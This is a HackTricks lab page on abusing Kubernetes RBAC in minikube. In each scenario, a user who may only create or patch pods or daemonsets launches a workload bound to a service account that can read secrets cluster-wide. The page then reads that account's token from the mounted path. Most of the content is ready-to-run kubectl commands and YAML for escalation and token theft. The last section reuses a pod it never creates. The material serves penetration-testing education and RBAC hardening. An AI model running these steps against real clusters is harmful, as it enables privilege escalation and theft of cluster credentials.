hacktricks/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md

# K8s Roles Abuse Lab

You can run these labs just inside **minikube**.

## Pod Creation -> Escalate to ns SAs

We are going to create:

* A **Service account "test-sa"** with a cluster privilege to **read secrets**
  * A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
* **Permissions** to list and **create** pods to a user called "**Test**" will be given
  * A Role "test-r" and RoleBinding "test-rb" will be created
* Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
* Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
  * This is the way yo show the user could escalate privileges this way

{% hint style="info" %}
To create the scenario an admin account is used.\
Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, [**as explained here**](./#pod-creation-steal-token), the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
{% endhint %}

```bash
# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```

## Create Daemonset

```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```

### Patch Daemonset

In this case we are going to **patch a daemonset** to make its pod load our desired service account.

If your user has the **verb update instead of patch, this won't work**.

```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      automountServiceAccountToken: false
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```

## Not work - Create/Patch Bindings

**Doesn't work:**

* **Create a new RoleBinding** just with the verb **create**
* **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
  * You cannot do this to assign the role to yourself or to a different SA
* **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
  * You cannot do this to assign the role to yourself or to a different SA

```bash
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
subjects:
  - kind: ServiceAccount
    name: test-sa
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-r2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```